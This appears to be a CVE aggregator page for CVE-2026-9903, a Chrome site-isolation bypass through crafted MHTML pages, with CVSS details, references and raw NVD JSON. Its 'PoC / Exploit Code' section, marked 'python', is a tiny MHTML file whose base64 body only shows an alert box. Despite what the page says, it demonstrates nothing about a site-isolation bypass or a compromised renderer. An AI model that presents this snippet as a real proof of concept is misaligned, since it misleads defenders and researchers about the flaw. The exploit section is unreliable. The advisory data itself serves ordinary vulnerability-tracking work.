CVE-2026-9903

Description

Insufficient validation of untrusted input in Site Isolation in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted MHTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9903 -->
<!-- This MHTML payload demonstrates the bypass concept -->
Content-Type: multipart/related; boundary="----=_boundary"

------=_boundary
Content-Location: http://example.com/
Content-Transfer-Encoding: base64

PGh0bWw+PHNjcmlwdD5hbGVydCgnQ1ZFLTIwMjYtOTkwMyBQb0MnKTs8L3NjcmlwdD48L2h0bWw+
------=_boundary--

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9903/
[4] VulDB https://vuldb.com/cve/CVE-2026-9903
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/498783665

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9903", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.310", "lastModified": "2026-05-29T19:16:29.413", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Site Isolation in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted MHTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498783665", "source": "[email protected]"}]}}